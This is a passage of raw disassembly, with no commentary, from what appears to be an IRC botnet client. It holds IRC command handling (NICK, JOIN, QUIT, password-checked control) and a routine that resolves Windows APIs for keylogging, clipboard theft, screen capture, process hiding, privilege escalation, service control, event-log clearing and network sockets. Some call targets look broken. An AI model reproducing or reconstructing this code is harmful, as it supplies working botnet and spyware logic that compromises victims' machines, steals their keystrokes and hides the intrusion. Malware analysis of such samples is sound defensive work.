		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2690000h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEC4[eax]
		nop
		call	near ptr 26A06FFh
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEC4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCB0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296BC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429694

loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h

loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------

loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429670
		jmp	short loc_409689
; ---------------------------------------------------------------------------

loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429644

loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DB0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429628
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429604
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_4295E0
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295BC
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429598
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h

loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 2690000h

loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429570
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------

loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42954C

loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx

loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx

loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA28 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE2C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429548 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294C8
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160

loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429474
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998

loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429454
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429434
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE24, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		nop
		call	near ptr 2690000h

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE34, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAEDC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CAFD4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CAE7C, eax
		jz	short loc_409C10
		cmp	dword_4CAF94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF78, ebx
		jz	short loc_409C10
		cmp	dword_4CAE88, ebx
		jz	short loc_409C10
		cmp	dword_4CAE64, ebx
		jz	short loc_409C10
		cmp	dword_4CAEDC, ebx
		jz	short loc_409C10
		cmp	dword_4CAFD4, ebx
		jz	short loc_409C10
		cmp	dword_4CB030, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A

loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB034, 1

loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFAC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------

loc_409C32:				; CODE XREF: sub_409B12+1Dj
		call	near ptr 2690800h
		nop
		mov	dword_4CB038, eax
		mov	dword_4CB034, 1

loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26C0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		cmp	dword_4CAFD0, ebx
		mov	dword_4CAEB4, eax
		jz	short loc_409D00
		cmp	dword_4CAF80, ebx
		jz	short loc_409D00
		cmp	dword_4CAF14, ebx
		jz	short loc_409D00
		cmp	dword_4CB024, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CAF64, ebx
		jz	short loc_409D00
		cmp	dword_4CAFC8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A

loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB03C, 1

loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE48, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF40, ebx
		mov	dword_4CAEF8, eax
		jz	short loc_409D67
		cmp	dword_4CAE48, ebx
		jz	short loc_409D67
		cmp	dword_4CAF10, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------

loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 2690800h
		mov	dword_4CB040, eax

loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB03C, 1

loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF28, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAED8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAFE4, ebx
		mov	dword_4CAF04, eax
		jz	short loc_409E1A
		cmp	dword_4CAF28, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF98, ebx
		jz	short loc_409E1A
		cmp	dword_4CAE74, ebx
		jz	short loc_409E1A
		cmp	dword_4CAED8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF50, ebx
		jnz	short loc_409E24

loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB044, 1

loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF30, eax
		call	esi
		cmp	dword_4CAF58, ebx
		mov	dword_4CAFE0, eax
		jz	short loc_409E5F
		cmp	dword_4CAF30, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69

loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB044, 1

loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE50, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE58, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEBC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF34, eax
		call	esi
		cmp	dword_4CAF68, ebx
		mov	dword_4CAE5C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE50, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE58, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEBC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEC0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE6C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF34, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17

loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB044, 1

loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE54, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------

loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2690800h
		mov	dword_4CB048, eax

loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB044, 1

loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAF7C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE44, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE30, eax
		call	esi
		cmp	dword_4CAF60, ebx
		mov	dword_4CAED0, eax
		jz	short loc_40A016
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A016
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A016
		cmp	dword_4CAE98, ebx
		jz	short loc_40A016
		cmp	dword_4CAE44, ebx
		jz	short loc_40A016
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE30, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------

loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2690800h
		mov	dword_4CB050, eax

loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB04C, 1

loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAEE4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB018, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAE84, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB010, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CAFD8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		mov	dword_4CAF4C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAF9C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF54, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		cmp	dword_4CAEE4, ebx
		mov	dword_4CB00C, eax
		jz	loc_40A2E7
		cmp	dword_4CB018, ebx
		jz	loc_40A2E7
		cmp	dword_4CAE84, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF20, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF08, ebx
		jz	loc_40A2E7
		cmp	dword_4CAECC, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB010, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF1C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB000, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF74, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF70, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEA4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFC4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
